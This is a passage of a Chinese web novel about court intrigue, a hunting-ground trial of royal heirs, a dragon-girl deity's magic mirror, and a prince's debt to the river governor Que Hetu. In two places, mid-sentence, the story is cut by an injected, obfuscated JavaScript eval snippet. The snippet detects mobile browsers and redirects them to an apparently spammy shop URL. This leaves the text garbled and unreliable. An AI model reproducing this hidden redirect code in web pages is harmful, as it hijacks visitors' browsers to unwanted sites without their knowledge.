阙河图的眼睛一直看着这只猫,像条围脖一样蜷在甜橙脖子上,大大咧咧地霸占,怪异之外,倒是有些趣味,就问甜橙,“大殿下何时喜欢上狸奴?” 甜橙,“今儿。”随后,他看到阙河图并非孤身一人,身边有太监送他出宫,这是司礼监的人,于是就对他说,“你回去向黄秉笔复命,我送阙大人出去。” “是。”那人垂首,行了礼就退下了。 “洛公,这边请。”甜橙单手抱了湛湛猫咪,另外一只手指了指路。 阙河图则后退了一步,跟在他身后。正好,看见扒在甜橙脖子上猫咪,一双琉璃珠子一般的眼睛珠子看着他。 文湛一直都知道此人同甜橙有故旧,但是他们这交情同柳密又不一样。柳某人一直在雍京,他是寒门子弟,纯血的天子门生,一门心思全在正事上,无门户私计,总算都是‘自己人’,可这位阙河督不一样。 江南士族同雍京分庭抗礼也不是一年两年的事,甚至不是一代人两代人的事,那是数百年,甚至上千年的遗祸。如今兰芝社横霸朝纲的局面终于被打破,诸多子弟迷恋谈玄讲经去了,就显得这位河督位高权重到独树一帜。 而且,更让人心塞的是,这人老大不小,居然还是个光棍。 甜橙却认为这也没什么。一心功业无意娶妻生子,这种清寡重臣不多,可绝不是绝无仅有。毕竟人的心就那么一颗,总窝在后宅捣鼓,于功业上就荒废了,这对于相当于割据江南的阙公来说,简直就是暴殄天物,只是如今这个天物,却着实令湛湛陛下头疼。 一路倒是无话。 阙河图此人惜字如金,一向不多话,这个习惯倒是与文湛像极,可是文湛对着甜橙依然能滔滔不绝,阙氏无此一人,因而更是沉默。他明明感觉到甜橙怀中的猫咪有些异样,却无一字疑问。 到宫门外,那里有二品大员的车马大轿,甜橙与他辞别,可阙河图却说,“大殿下,我在雍京的亲朋故旧不多,您算一位。我请您喝酒。” 其实阙河图这话倒是不错,只是…… 他这种人物,说话如同顶级丝绸一般,不要说漏洞,就连被绣娘手指上的粗糙刮花的粗糙都没有。要说请甜橙喝酒,之前不是应该问问他是否得空? 不过今天甜橙当真不得空,他得带着湛湛猫咪渡劫,于是就回,“我得去南城。” 阙河图却问,“南城就没有好酒吗?” 甜橙,“那里三教九流,什么人都有。” 阙河图,“我在河工上,什么人都见过?三教九流也未必有我见过的人杂。” 甜橙想了想,渡劫嘛,谁知道哪块云彩下雨,多一个人过来,没准儿也是昊天上帝的安排,于是就点头,“咱得走着过去。” 阙河图,“我官轿中有布衣长衫,大殿下等我,换一下就好。” 甜橙,“嗯。” 闻言,湛湛猫咪呲了一下牙,小脑袋窝在甜橙的颈窝中,郁闷。 这位总督换上长衫,仿若一位太学的书生。 甜橙看了看日头,“走吧,到南城真得晌午了。” 只是没走两步,甜橙忽然站住了。 他双眼看着前面。 阙河图也停下脚步,就这么看着雍京的长街。 熙熙攘攘。 一会儿,甜橙问他,“洛公,你信鬼神吗?” 阙河图,“不信。” 甜橙,“……我原本也不信的……” 此时的雍京长街和平时截然不同。 妖魔鬼怪与人同在。 甜橙甚至看到一群魑魅魍魉穿梭在人群中,跳着祭祀的舞蹈。 只是没有声息。 他又看了看高悬天空的日头。 嗯,很刺目。 这些鬼怪似乎看到了甜橙,又似乎没有,因为它们都绕开甜橙一行猫咪和人。 前面一个摊子,一大娘在这里卖镜子。这个大娘乍一看,就是一普通妇人,可是再一看,就发现她头上有犄角,身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729050|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有尾巴,两只普通的手臂之外,还有第三只手,冲着甜橙招摇。 甜橙看了看湛湛猫咪,发现猫咪也看出这位大娘的异样,随后,他又看了看阙河图,可是这位人杰倒是没有看出任何不同。 “洛公先等我一下。”甜橙同他打过招呼,就紧走几步,到镜子大娘面前。 “恭喜帝君开天眼。”那位大娘冲着甜橙……抱着的猫咪,用那只凡人看不见的第三只手,打了一个极复杂的礼数,“贫道西海龙女,如今为雷部正神,九天应元雷声普化天尊属下。” 甜橙,“大师有礼了。大师如今是下凡护佑紫微帝君渡劫吗?” “不。”大娘微笑摇头。 甜橙,“……” 龙女异常慈爱,“贫道只是顺道过来看热闹。” 甜橙,“呃……” “那……大师可知道帝君的劫难到底是啥?” 龙女用那第三只手摇了个花,“天机不可泄露。” 甜橙,“……” “不过。”龙女又说,“贫道倒是可以帮助王爷仔细看一看这个人间。” 说着,她那第三只手引着甜橙看镜子。镜中的雍京,又变了另外的模样,不但妖魔鬼怪没有减少,反而那些阳光下人模人样的凡人,有些都露出了动物的本相,猪马牛羊,甚至还有飞鸡走狗。 有人是只贪婪的狼,为利益不择手段;有人像只勤劳的蜜蜂,默默耕耘;有人是自由的鸟,向往远方。而甜橙身边擦肩而过的一位姑娘,竟是水边一只温顺的鹿。 甜橙有些好奇,不知道自己是啥。 于是凑近了镜子。 却发现镜子中只有自己一张脸。 “王爷,只是人而已。”龙女说。 “而已?” 甜橙觉得自己是万物灵长,已经是不错的福分,如何只算一个而已?可一转念,自己面前是雷部正神,怀中是中天紫微北极太皇大帝,自己一介凡人,而已就而已吧。 “如今,是帝君开天眼的法力,让王爷短暂拥有可以直视人间的神力。” 听龙女这样说,甜橙忽然有些好奇,想看看阙河图的本相。 于是向左跨了一小步,正好在镜子中看见阙河图那张面孔。 却不清晰。 那是一团又红又黑的雾气。 裹着一个人。 可那人却是孤峰立雪,春阳破霭。 丹锦飞裳如赤霞漫卷,流云广袖间暗绣北斗天权星纹,银线勾连周天星轨,行动时似有星河在衣袂间奔涌不息。 甜橙惊诧! 他连忙回头看了看阙河图,发现那人没有任何变化,依旧布衣长衫,如同太学一文秀书生。 “此乃辅元开化文昌司禄宏仁帝君。”龙女忽道。 “啥?”甜橙叫了出来! 阙河图听见动静,连忙移步过来,只是看见一位朴实的妇人,正在卖她的铜镜。 而甜橙……连同他怀中抱紧的猫咪,以一种不可思议的眼神盯着自己。 甜橙之前认为,世间也许不仅仅湛湛这么一个紫微星瞎晃悠,如今太平盛世,漫天神佛没准儿都下来凑凑热闹。 可就算有文昌帝君下凡,那么这样的人物,不是楚楚就是柳柳。 寒门学子,天资极佳,文心与儒法并修。虽然必须于官场复杂局势中权衡利弊,但终究为人公道,刚正不阿,以治国安邦为己任,心怀黎民,济世于苍生! 可眼前这公…… 当真是复杂至极。 阙河图看了看甜橙,又看了看湛湛猫咪,似乎都没有异样,“怎么了?发生什么事了吗?” 甜橙抱了抱猫,摇了摇头,“没事儿,这位大娘的镜子有些贵。” 阙河图说,“如此光洁的铜镜,费工费料费时,价格高一点也是自然。” 他并没有说为甜橙付账买下铜镜,因为他知道,想要巴结如今的甜橙,这点钱不上台面,更何况,他们之间的私交,原非‘巴结’二字能描述的。 不过他还是表示了善意,开口说,“听闻大殿下左臂受伤,抱狸奴虽有些趣味却很是劳累。有事弟子服其劳,不如,我帮大殿下抱着此猫如何?” 闻言,甜橙搂紧了猫咪,甚至就连那只猫咪,都更加用力以两只前爪扒在甜橙的脖子上,愈发紧密了呢! “不用,不用。”甜橙笑着,“南城还挺远的,我们走吧。” “好。”阙河图点了点头,也不再说什么。 “我之前一直以为文曲星君落凡都得是大大的忠臣,尽心辅佐陛下……”甜橙心中嘀咕,“可这位为什么总是感觉哪里不对劲儿?” ——“王爷所谓的忠臣辅佐的陛下,……” 龙女的声音忽在甜橙左耳边轰隆响起!却只有他一人听见。 传音秘术! “那得是普通的人王帝主!” “如今帝座上是紫微帝君,可不是什么善茬!文昌帝君和他都在凡间,一山不容二虎。” 甜橙,“所以龙女大师就没想着让他们和平共处?” “不!”龙女咯咯笑了起来,“王爷忘记了,贫道只是路过,来看热闹的。” 哈哈,哈哈哈,哈哈哈哈哈! 甜橙,“……” 193. 193 193 旻铉从猎场西方进入禁地,一路上杀人如同砍瓜切菜,依靠这样强大的武力震慑,等到他需要同禁地之内的村民编造大仙降世鬼话的时候,几乎没有丝毫阻力。当然,他用谎言欺骗这些人,想要功名富贵可以跟着他出禁地,外面就是猎场,再外面就是雍京,那里什么都有,只要,…… 用命去搏。 其实需用搏命的不止那些蝼蚁,还是他自己。 从禁地出猎场有一道关卡,过得去,猎场下一场逐鹿就人马充沛,可如果过不去这一关,那就是孤家寡人。 旁的场面也就算了,可如果当真在猎场逐鹿,没有旁人的贱命来填,那就只能填自己的命了。 旻铉从马上下来,发现镇守关卡的是掌管祭祀礼乐的恭愍郡王,和陛下雪鹰旗的一千精兵。 他手持黄金羽,抬头,眼前是两丈高的一个大木横梁,吊着一个不大的白瓷坛子。他不用探究,只用力一闻便知,那是迦楠,应该是大正宫外所有的迦楠了。坛子里面别的火信,只要一箭上去,火信点燃,整个瓷坛付之一炬,并且,他母亲今年活命的药也会付之一炬。 北境的兵权与母亲的性命。 只能二选一。 孰轻孰重? “郡王。”旻铉知道不应该,却还是忍不住想要问一问,“之前有人从禁地出来吗?” 恭愍郡王倒是和气,“有,是文王世子戎久安。” “只他一人?” “是。”恭愍郡王顿了一下,又说,“只他一人,却带了一副青铜朱雀面具。” “面具?”旻铉方知,为何郡王说到此处,微微停顿了。戴上面具,便不知那青铜朱雀覆盖之下的人,究竟是谁了。只是,猎场此时并不深究这些,因为,用面具覆面掩盖真身之人,不止这一个。于是他问了最想知道的一个问题,“那人可射出黄金羽箭?” 恭愍郡王只是微微点头,并无言语。 旻铉追问一句,“世子的关卡是什么?” “他父亲。”恭愍郡王平静道出,“文王。” 旻铉大惊! 恭愍郡王,“一箭穿心。如今文王已入殓。” 那是一种异常淡泊的眼神。 是啊,他也姓姬。 成大事者,至亲可杀。 通往极权之路,无父无母,无妻无子,亦无手足。 赵毓的人马拉着那尊鼎有些耽误工夫,出禁地的时候,已经是次日的傍晚了。他远远就看见两丈高的一个大木横梁,吊着一个人,而且还是个妇人。因为他一眼就知道那人究竟是哪个,所以颇为意外。 而文湛,依旧是面具覆面,他顺着赵毓的眼,也向上看,却是毫无反应。 恭愍郡王早已经等候多时了,他看了看赵毓,犹豫了一下,还是说,“两位殿下,已出禁地的诸姬分别是文王世子与徽郡王世子。” 其余,一字不多提。 可赵毓已经知道了。戎久安和旻铉这二人,都是典型做大事的人,做不做成事是一回事,可是杀不杀至亲,是另外一回事。 恭愍郡王也是好心,他怕赵毓一时心软,过不去这一关,就要孑然一身入猎场了。 可是,…… 郡王见赵毓并不动作,而他身边那位面具覆面的“二殿下”,忽然伸手扯掉雪鹰旗一名士兵的外袍。变起肘腋,那名士兵都来不及反应,只是惨叫一声,顷刻之间被剥去上身的衣物,在不算寒冷的晚风中瑟瑟发抖。 恭愍郡王,“……” 这位先帝二皇子、‘先’宁王,在元熙朝过得着实凄惨了一些,身在名灭,一直在空镜山上念经。本来似乎可以修身养性,此时一见,方知,青灯古佛也不是一定能降魔,眼看着这位‘二殿下’吃斋念佛久了,不但没有淡泊明静,反而性子愈发古怪起来。 猎宫内,燕王将摇光,柳密与黄枞菖圈在一起,他们无事可做,开始吃瓜。 元熙官窑瓷盘中,是西北用兵部勘合运来的蜜瓜、葡萄,甚至有岭南荔枝。 “雍京水陆畅通。”摇光一边剥荔枝壳子一边说,“这些东西珍贵,却能运,不比当年的长安,地势太高,从南边过来又卡在三门峡,那可真是一个坎一道鬼门关,什么都不好运。柳大人,这些鲜果都尝尝吧,你不吃,我们吃不下,也得扔。” 柳密拿了一颗葡萄,这是他这辈子第一次吃葡萄,味道果然新鲜。 摇光,“大郑定鼎华夏之前,还有八百余年的宗庙,都城就在长安。” 柳密,“后来怎么就选在雍京了?” “太|祖把雍京打下来了,空旷,就用了。”摇光,“而且当年的岐山神宫大祭司算了九九八十一天,龟甲兽骨都烧了,光活人牺牲都烧了八个大坑,终于算出来雍京土地风水好。这不,果然风水好。大郑定鼎这一千多年来,虽然也有沟沟坎坎,都过去了。” 柳密听完,吃东西有些不对味道,似乎如桂酒椒浆般的荔枝都带着腥气。 “老柳啊!”摇光,“你也别犯膈应,这都一千多年了,也就是我跟你说,别的地方你想听,都听不到这些秘闻。” 柳密,“如果当时信奉圣人之言,就不会……” “哈!”摇光一乐,显得他的光头更加的锃明刷亮,“你们那祖师爷啊,也有不传之秘,从来贼不走空,只有姬姓自己把江山稳过百年之后才来辩经。反正江山我们稳住了,老天爷就来捧个场,凑个热闹,号称天命所归。诗书礼乐背后都淌着血,不然也不能这么斑斓绚烂,万世流芳。” 他们聊天的时候,黄枞菖根本就没插话,似乎连听都没有听,只是在认真吃蜜瓜,手边还翻着个古老的小册子,画了一些禁地之内的乡野吃食,还有各种美味野果子。 大殿的门忽然打开,笃笃笃,有拐杖点在金砖上的声音。 谢翾飞来了。“黄秉笔,大殿下和二殿下他们回来了吗?我有急事需要觐见陛下,可是柳掌印说主上处理紧急军务,不能……” 他话音未落,就看见二殿下那颗光头,正在认真啃瓜。此时一缕阳光透进来,扫到那颗光头上,很是光华璀璨呢! 谢翾飞,“……” 咣当! 宫殿雕花大门从外面被关闭。 谢翾飞,“呃……” 黄枞菖看着他,向里面挪了一下,给他留个位子。 “谢大夫。”摇光看着谢翾飞拄拐过来,坐在一边,就说,“这么多年我一直没机会问,但是我一直挺好奇的,你这腿,是怎么残废的?你们老谢家,这是做的哪一出戏?有个什么权谋,什么大局,什么说法没有?老柳……” 他转头又对柳密说,“其实很多时候我不太懂你们读书人。我是觉得,你们读书人如果动心眼,做那个局特别精巧,但是好像一个用麦芽糖做的雕梁画栋的仙宫,看着煌煌实则脆脆,只要用木棒子一敲,稀碎。” 柳密,“……” 柳密和谢翾飞之能说彼此见过,但是从无深交,更不要说一起吃瓜了。谢氏与柳密这样的农家子弟风马牛不相及,可再怎么百年阀阅门庭,面对天子重臣也不能妄自尊大,何况谢翾飞本人因为一条腿残疾并无功名傍身。 可如今这个场面,这俩读书人中的翘楚,竟不知道如何滑溜将对话开启。幸好,此时黄枞菖从画册中抬头,看了他一眼,也没说话,就是给他挑拣了一块切得很方正的蜜瓜。 谢翾飞接过来,道了谢,回了摇光一句,“二殿下,您还是,……吃瓜吧。” 赵毓那边,恭愍郡王看着他一直看着高木悬挂的那名妇人,并无动作,而他身边那个性子极端古怪的‘二殿下’,除了伸手剥掉一名兵士的上衣之外,也再无动作。 郡王有些奇怪。 他看过兵部多年的战报,先帝这位庶长子,虽然外表看着文弱,内在却极为强悍,而且为人多谋善断。 曾经西疆经过数百年的战乱,各方势力犬牙交错,局势纷乱复杂,可这位大殿下就能在如此乱局当除抽丝剥茧,屡出奇谋。他的那些招数,赌性极强与深谋远虑俱存在,粮草、人命、战机,在他手中,犹如丢溜乱转的骰子,轨迹看似混乱不堪,其实各司其位。 所以,如此人物,怎会困于此处? 而且那妇人,既不是他母亲太贵妃,也不是他独女赵格非,只是一个不相干的牺牲,一条不相干的贱命,他在犹豫什么? 赵毓垂下眼睑。 恭愍郡王只看见那位‘二殿下’骤起,径自跃上横梁,手中兵士的外衣裹住被吊着的那名妇人,一柄细剑切断捆住她的绳索,将她救下。只是在落地之后,‘二殿下’将她扔到土堆旁边,不要说怜香惜玉,就连对待普通妇人的分寸都没有,即使他以面具遮盖住表情,依旧外露出极端嫌恶的情绪。 恭愍郡王只觉可惜。这妇人是高昌王女,名字很长,有个大郑汉文的名字是溯黛。原本是钦定的牺牲,要被点天灯的,却突然被赦,猎场已封,她无法离开。当时岐山神宫大祭司说要把此妇人吊上高木作为祈王关卡的时候,郡王还以为这是列祖列宗显灵对赵毓的保佑,结果没想到,这却是他一道根本过不去的难关。 郡王又想到方才过去的文王世子与徽郡王世子,总觉得猎场下一轮的逐鹿应该有个大致公平,他想要补救一下。于是走近这位‘二殿下’一些,说,“这一关,需大殿下亲自动手,您不能越俎代庖……” 香气。 那是迦楠的香气。 大正宫的贡品。 距离此人近一寸,迦楠混合着其它极名贵香料的气味,蜿蜒萦绕,如同可以绞死参天巨木的蔓藤,扼住人咽喉的刀锋。 而且,青铜面具覆盖并不严整,他的头发也许是没有扎紧,有一绺垂了下来,浓黑厚重,如同最上等的松烟墨。 他根本不是二殿下摇光! 他是,…… 而赵毓则看着那个跪趴在地上的妇人,慢慢蹲下,看着她,用高昌话说,“阿奴希尔薇,你走吧。” “你不杀我?”溯黛很震惊,这段时日,她濒死,又有了生机,继而濒死,又有了生机,如今更是从原本以为必死的局面中逃出一线生机,她惶惶然到几乎不敢面对,“你不杀了我?” 赵毓说高昌文的时候,声音比平时要低沉,如天山的雪、拉莫孔雀河静静流淌的水,“我大郑刑罚森严残酷,令行禁止,国之重器,用来守卫千年社稷,国泰民安,而不会屠戮你这样的一介无知妇孺。” 说完抬头,看见文湛异常担忧的眼神。 他用力摆出一张轻松柔和的笑。 ——谢翾飞,我活不久了,是吗? 哗啦,燕王亲自过来开锁开门,并且对着这些人一一道歉,黄枞菖连忙制止住,“王爷这也太折煞奴婢了。我们家那位祖宗出来,需要我,整军队配弓弩,好多事儿呢!王爷同二殿下还有这两位大人聊聊,奴婢先走一步。” “黄秉笔!”燕王拦住他,“你别急,不用去了。没什么事情要你去做。” 黄枞菖,“怎么?” 燕王,“承怡没有通过关卡,如果他不想放弃,只能孤身一人入猎场了。” 此时,连摇光,柳密和谢翾飞也愣了。 燕王,“那个高昌妇人是神宫大祭司做主吊上去的,当时所有人都以为那是承怡的福分,不用剜心刺骨做抉择,谁想到,就他过不了这一关。” 摇光,“事到如今就放弃呗。就他那身手,他那小身板,都撑不到逐鹿坡。” 燕王叹口气,对谢翾飞说,“谢大夫,陛下召你。” 说是陛下宣召,灵偃殿内,赵毓同柳从容均在,只陛下已更衣,坐在正殿书案后,也的确在处理北境紧急军报。 ——“谢翾飞,我活不久了,是吗?” 谢翾飞一进来,赵毓劈面就砸过来这样一句话,他差点招架不住。 “也不是,……,只是……” 赵毓,“还能活多久?” 谢翾飞,“殿下怎么忽然问这些?” 这些话,事关赵毓生死,他只对陛下说过,而且为了不让赵毓忧惧,不会如此直白告知。 赵毓,“在禁地中,陛下劝了我三次。他一言九鼎,不会如此反复,我就知道,可能要出大事了。” 谢翾飞看了看书案后面的文湛,而陛下此时过于像一尊玉像了,似乎什么都没有听见,手中的毛笔饱蘸了朱砂,正在写着什么。 他深知赵毓一向敏锐,可敏锐成这样,必对君心了如指掌,放旁人身上,就是奸佞祸国的灭族之罪,可是对于他…… 谢翾飞,“殿下在西北十年,太艰难,伤了根基。本来殿下回来,好好将养,享天年没有问题,可惜,雍京不是波澜平静的将息之地。殿下先是被高昌王伤了,虽然伤口清理干净,可遗了热毒在皮肉中,绝对不能动怒。后来,殿下又遭长公主设局,暴怒损了心脉,这就彻底毁了根基。” 赵毓,“还能活多久?” 谢翾飞又是一叹气,“好好修养,三五年不成问题。” 这一瞬间,似乎压在飞檐斗拱上的雨水,一滴一滴开始滑落。 赵毓想起开银窖那日。 彼时,元承行还不是元承行,还是西北道,四面八角楼上高悬匾额,承载着煌煌如日的过往,却有着即将落幕的悲怆。 “不过……”谢翾飞定定看着他,“殿下的病症,有大生机。” 赵毓一愣,而书案后的文湛也停了笔。 谢翾飞极认真盯着赵毓,说,“昆仑有秘法净世琉璃诀,修炼者心怀悲悯,以自身为烛火,引燃他人命灯,虽耗神损力,却可续断脉于垂危之际。殷忘川为修此决大成者,殿下,可否传令高昌王?” 沉默。 赵毓听完,并没有说任何话,而文湛,则在这种沉默当中,继续看军报。随后,赵毓无意识开始转动自己手指上的玄铁护指。这种若有似无的声音,使灵偃殿内的沉默变得异常压抑而复杂。 谢翾飞知道此时关系重大,他本人却不宜久留,跪了,就出来了。 微雨伴随着夜幕一起降临。 掌了灯。 赵毓叹口气。 却是文湛先说,“哥哥想到什么借口了?” 赵毓,“……” 文湛,“说吧,我听着。” 赵毓,“人情债最难偿。如果小殷以此为筹码,想要裂土怎么办?” 文湛放下毛笔,“随他!” “……!”赵毓,“这是列祖列宗留下的江山社稷,换我一条命,值吗?” “值!”文湛,“莫说他想裂土,即便让我为了你卧薪尝胆,也在所不惜。姬姓宗庙不灭,只要我能腾挪出二十年的光阴,十年生聚十年教训,必恢复大郑河山。” 赵毓,“……” 文湛,“只是,用秘法净世琉璃决修复心脉这种事,向来一命换一命。他修为极高,不至殒命,却也难保至高武学。等我们终究兵戎相见于沙场之时,他就与他的那些,无论是极乐净土还是宏图霸业,都彻底无缘了。所以,此事应当衡量的不是我的想法,而是,承怡,在你内心中,殷忘川究竟占几分重量?” 赵毓,“可是,小殷也不傻,这样的事情他未必肯帮忙……” “是吗?”文湛忽然笑了一下,“我用六百里加急传令正在北境的定国公裴檀,命他将此事告知高昌王,可好?” “别!”赵毓下意识阻拦,他自己也愣了。 而文湛,只是收敛了笑容,一句话不再多说,继续看军报。他手中毛笔蘸满朱砂,写在宣纸上,沙沙作响,应和着赵毓下意识转动玄铁护指的声音,很是静谧,却像一条铁索,在慢慢收紧。 赵毓叹口气,站起来。 文湛停笔,看着他。 赵毓,“殿内闷,我出去透口气。” 文湛,“用我陪你吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729051|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 显而易见,又是个拒绝的回答。方才赵毓已经拒绝过文湛一次了,这第二次当着面再撅回去,实在是开不了口。 可文湛却似乎也不想退一步。 赵毓只能叹口气,说,“我去问问谢翾飞,看看他能不能先做出一个力拔山河气盖世的大力丸来,保住我的小命,容我这几天仔细想想再说。” 文湛,“哥哥不想我陪你?” 看来他心意颇为坚决,赵毓也只能无奈点点头,“一起走走。” 于是,谢翾飞又看见了这哥俩。 虽然文湛站着的位子稍微有些远,并没有近在咫尺,自己只能打起十二万分的精神,努力君前奏对,不能有失。 “一直在为大殿下准备定心丹,但是其中需要一味名贵药材东海鲛珠,只需三颗,碾碎化开,融入药丸可暂时护住心脉。” “此物出自东海,百姓以讹传讹为鲛人泪珠所化,其实为东海巨蚌所产珍珠,十分罕见,异常难得。” “只因它实在太名贵,一颗就要十万两白银。” 赵毓,“成,只要有这东西就行,我去搞。” 谢翾飞看着他。 赵毓警觉,“这不会又是什么折损他人性命的稀罕物吧。” 谢翾飞摇头,“那倒不是。此物虽然名贵,确实有价,只是大内没有,……” 赵毓,“雍京有吗?如果没有的话,此时出海行不行?” 谢翾飞欲言又止。 赵毓看着他。 谢翾飞,“此时出东海实在来不及,雍京的确有东海鲛珠。听闻漕运总督阙河图得两颗,欲镶嵌在凤衔牡丹的海南黄花梨螺钿屏风上,为他母亲做寿祈福。这最后一道工序最好的手艺人就在雍京,所以这个料,如今就在雍京。” “我谢氏同河督也算有些私交,已经派人去问了,看能不能高价买下他手中的东海鲛珠?虽然河督以此宝侍奉母亲至纯至孝,可殿下要它也不是以势压人,不为奢靡,而是为了救人性命。银货两讫,绝不让他吃亏。” 赵毓听着,抬双手压了压太阳穴,“别白费力气了,他是不会卖鲛珠的。” 世上最难偿还的就是人情债。 偏偏就有人,把这个人情债用起来狠、准、稳,让受着的人躲不开,却不得。 当年赵毓西北用兵,军饷不够发了债票。分量最重的两笔,一份杜玉蝉认了,还有一份,就是阙家承了下来。 杜玉蝉那里有崔珩的面子,而阙氏这边的人情,只能赵毓自己硬生生死扛。 漕运总督阙河图,字洛书。十八岁进士及第,科甲正途。 阙氏为江南沿河阙陈董明四家之首,江南右族,兴盛逾千年,重圭叠组。而阙河图的父亲虽为幕僚,却是江南第一幕府! 自儿子登科,他就从总督一级的衙门辞了,直接进阙河图幕府,所以这位年轻的封疆大吏从来没在雍京清水衙门混过资历,十年光景一路实缺,从七品知县径直干到二品总督,如今只二十八岁。 谢翾飞并不了解内情,只是有些疑惑,“不会。上林王狩接下来会有重臣观礼,这位阙公必须进猎场。他在来南苑的路上了,而且,他给了回话,带鲛珠过来。” 赵毓又叹口气,“我说他不会卖鲛珠,并没说,他不会拿鲛珠过来。” 谢翾飞,“……” 这份人情债,注定又得欠着了。 文湛不近不远看着他,赵毓好像打蔫的茄子,一下子就塌了。 君臣之别绝不会让一皇族亲王去猎场北面亲自等候重臣,无论这位总督是否位高权重。而普通的交情也不会让赵毓知道这位公大约半夜到猎场晚上不睡觉,整装去迎他。 赵毓此人一向是‘你走,我就不送了;你来,我也不接’,就算是他自己的嫡亲弟弟老二摇光进猎场,都没管,就让摇光秃着脑袋自己来拉磨。 可是,阙河图却可以。 临近子时,赵毓带着奉宁到猎场北,远远看见这位公的起居八座,——八匹雪驹拉着的一辆雕祥瑞鹤纹檀木车,——碾过硬土,徐徐而来。 忽有夜风吹动纱帷,琉璃灯下,车内露出半截象牙几,几上犀角杯,杯中琥珀光。 赵毓第一次见到阙河图是十四年前。 在雍京。 当时这位公还不到十五。 那时候西北用兵,朝廷无法拨调出足够军饷,赵毓回雍京筹银,自然避不开江南世族。 一场酒局,在永嘉会馆。 吴侬软语伴着桂花,还有太雕的香气。都说这太雕酒生性温和、风格雅致,与儒学有着异曲同工之妙,中庸,清淡无为,不似北国酒刚猛纯烈,后劲十足,因而被兰芝社所推崇。 这样的场合当然少不了美人争劝梨花盏,所以,一个没长大的孩子冷冷清清坐着,就格外惹人注目。 赵毓一开始还以为阙河图是谁家的少爷被不学好的叔伯拎出来‘见世面’,而且他自己的确有重任在肩,所以没太注意。 等酒过三巡,永嘉周熙代替不出面的兰芝社认下一封债票,赵毓终于察觉自己有些喝多了,就顺手拿了一块松江布巾,沾了清水,捂住额头,到花园走一走,吩咐席面旁边伺候的小童端一碗冰镇玫瑰酸梅汤。 等了一会儿,有人拿着一个木盘,端着甜白釉碗,碗中回荡着郁红色的甜汤。 赵毓伸手拿了碗,一抬头,才发现不是随席小童,而是他。 “先生还有一封债票。”十四岁的少年,嗓音都没变,却异常老成慎重,只因他说话用吴语,比雍京官话柔和了很多,竟然显出水缠丝绕的味道。“比起您给兰芝社那封,更大,更重,获利也更丰厚。不知道,我阙氏是否有这个福分,为先生分忧?” “阙氏?”赵毓黄酒喝多,忽然就乐了。 俗话说,官无封建,吏有封建。朝廷开科取士,却是书生居多,有些七品正堂都斗不过无品小吏,就是因为没有根基。这沿河四大家族,枝繁叶茂、树大根深,不要说七品,就算是二品封疆大吏,他们也能让人家直接上吊,没个正经下场。 而其中,阙氏为翘楚。 赵毓,“娃,你能做阙氏的主?” “可以。”那个少年只是微微点头,“我是阙河图。” 十四岁的孩子,就是阙家未来的宗主。 赵毓却觉得荒诞,摇头道,“这人才降世,都是看天吃饭,老天爷掷骰子。你们阙家爷们儿都能干,几代儿孙,个顶个都是文江学海,八斗陈思。得有三百多年了吧,阙氏已经连开十三把大了,你还不到十五,老天爷就已经把你揭盅了吗?” “我非东箭南金。”少年只是微动嘴角,像是笑,却又不是,声音却温和了起来,“只不过相信先生为人,知道先生所做之事,功在社稷,利在千秋。万世之不朽就在眼前,阙某不想错过,自知无才,只想从先生手中分杯羹而已。” “分杯羹?”赵毓喝了那碗酸梅汤,“你知道我是干什么的?娃,别人碗中的肉,不是涂了毒药就是插满刀剑,不是那么好分的。” 少年终于笑了一下,“我自然知道您是谁。” “牵扯家族兴衰的大事,阙氏可以下重注,却从不赌命。” “赵先生,您是姬姓的大殿下,承怡。” 彼时,赵毓已经被先帝废黜王爵,况且先帝虽禅位却依旧在世,无人再敢以‘殿下’称呼赵毓,只有这位做如此称呼,竟然有一种敢冒天下之大不韪的气魄。 阙河图给赵毓的是现银。 整整两千万两白银! 那是阙氏几代人家底,分了几批,用阙氏自己的船,走运河,由姑苏到雍京,再换人自己的车队,走陆地,一直出玉门关,最终至敦煌。 赵毓在西北看到这批银锭,对那个彼时只一面之缘操一口吴侬软语的阙氏未来宗主,冒出来一个念头,“还不到十五……” 极度赞叹。 却有些恐怖。 194. 194 194 一个时辰之前。 赵毓睡不沉,翻来覆去,就醒了,文湛坐在他床边,给他压了压被子,轻声说,“不用这么着急,还能再眯一会儿。” “心中有事。”赵毓坐起来,手指揪着被子,“这人情债,唉……” 文湛就看着他。 赵毓,“当年我拿了老阙家的银子,烫手,后来但凡手中宽松一些,先还他们那一份。” “文湛……” 文湛应了一声,“嗯?” 赵毓,“你是没见过我第一次见阙河图的情形,那么点儿一孩子,说话办事像只千年老妖,挺吓人的。” 文湛不应了,给他端了一盏温茶,让他润润喉。 赵毓喝了水,又叹口气,才说,“尤其他那一口吴语,听着就跟龙须糖一样,丝丝缠绕,软绵绵,但那杀伐决断的味儿,比咱那处决王公贵族们的黄金羽还锋利。” 文湛,“吴语?” “嗯。”赵毓点头,“他是正经姑苏人。” 文湛却说,“我没听过他说吴语。” 赵毓,“呃?” 文湛,“我第一次见到阙姓某人,是他殿试的时候。他御前奏对说的可是正经雍京官话,无一丝一毫南音。要不是他的身份过于特殊,不可能冒籍,我还以为他就是雍京士族子弟。” “连陛下都听不出来他官话中的南音?”赵毓很惊诧,“柳密的官话也是十足地道,可他本身就是北方人,学起来容易得多。可阙公此人……” 